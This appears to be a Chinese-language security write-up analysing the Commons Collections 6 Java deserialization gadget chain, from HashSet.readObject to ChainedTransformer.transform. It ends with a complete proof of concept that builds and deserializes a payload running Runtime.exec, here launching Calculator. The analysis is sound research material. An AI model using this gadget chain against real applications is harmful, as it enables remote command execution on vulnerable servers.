1.CommonsCollections6利用链分析
这个利用链反序列化执行的后半部分跟CC5一样,都是利用TiedMapEntry.getValue
会触发lazyMap.get
从而触发ChainedTransformer.transform()
。但是这里触发TiedMapEntry.getValue
用的不再是BadAttributeValueExpException
,而是换成了HashSet
。
作者给出的反序列化调用栈如下:
java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() ...省略...
可以看到,就这个HashSet
之前没有分析过,我们跟随调用栈来看看构造利用链需要对HashSet
进行哪些设置。以下代码源自java7及CommonsCollections3.1。
1.1 HashSet
先介绍一下HashSet,这个HashSet是一个常用的集合,它的实现方法其实很神奇,底层调用了HashMap来实现数据的增删改查操作。以add方法为例子,向集合中添加一个对象,它是通过HashMap的put方法实现的,但是正常来说Map需要键值对,那HashSet是如何调用HashMap.put
来添加对象呢,可以看一下源码:
public boolean add(E e) { return map.put(e, PRESENT)==null; }
然后看一下map
和PRESENT
的定义:
private transient HashMap<E,Object> map; private static final Object PRESENT = new Object();
可以看到这里面它map就是个HashMap
,PRESENT
就是个固定的Object
。所以简单来说这个Hashset
就是一个调用了HashMap
,把HashMap
的Key
作为自己存放元素的地方。接下来看看它的readObject
。
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in any hidden serialization magic s.defaultReadObject(); // Read in HashMap capacity and load factor and create backing HashMap int capacity = s.readInt(); float loadFactor = s.readFloat(); map = (((HashSet)this) instanceof LinkedHashSet ? new LinkedHashMap<E,Object>(capacity, loadFactor) : new HashMap<E,Object>(capacity, loadFactor)); //新建一个HashMap用来保存元素 // Read in size int size = s.readInt(); // Read in all elements in the proper order. for (int i=0; i<size; i++) { E e = (E) s.readObject(); map.put(e, PRESENT);//读取每一个元素并作为HashMap的Key进行存储 } }
这里调用了HashMap的put方法,我们追进去看一下,HashMap.put
方法代码如下:
public V put(K key, V value) { if (table == EMPTY_TABLE) { inflateTable(threshold); } if (key == null) return putForNullKey(value); int hash = hash(key);//这里计算key对象的Hash int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null; }
可以看到这里调用了hash方法计算key的hash,追入hash方法,代码如下:
final int hash(Object k) { int h = hashSeed; if (0 != h && k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h ^= k.hashCode();//调用了传入元素的HashCode方法 // This function ensures that hashCodes that differ only by // constant multiples at each bit position have a bounded // number of collisions (approximately 8 at default load factor). h ^= (h >>> 20) ^ (h >>> 12); return h ^ (h >>> 7) ^ (h >>> 4); }
这里可以看到k.hashCode()
中调用了传入参数的hashCode
方法。而TiedMapEntry.hashCode
代码如下:
public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
可以看到里也调用了TiedMapEntry.getValue
!!!因此如果我们在HashSet
中放入一个我们构造出来的TiedMapEntry
即可完成利用链。其实原理上很简单,但是在向HashSet
里添加元素的时候,会调用HashSet.add
方法,而这个add方法中又调用了HashMap.put
,因此作者为了防止构造数据的时候执行命令使用反射方法暴力修改类的属性来向HashSet里添加元素。这里我们修改一下,替换一下transformer
即可。
最终得到的代码如下:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class CC6Test { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, IOException { String command = "/Applications/Calculator.app/Contents/MacOS/Calculator"; final String[] execArgs = new String[] { command }; final Transformer[] tmptransformers = new Transformer[] {}; final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; Transformer transformerChain = new ChainedTransformer(tmptransformers); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "jus4fun"); HashSet map = new HashSet(1); map.add(entry);//注意,这里在add的时候计算hashcode的时候也会调用lazyMap.get,因此会在lazyMap中添加一个jus4fun作为key lazyMap.remove("jus4fun");//lazyMap.get只有key不存在才会调用transform,因此这里要删除这个key //设置ChainedTransformer.iTransformers Field itransfield = ChainedTransformer.class.getDeclaredField("iTransformers"); itransfield.setAccessible(true); itransfield.set(transformerChain,transformers); //return map; //序列化 ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out")); objectOutputStream.writeObject(map); //反序列化 ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out")); objectInputStream.readObject(); } }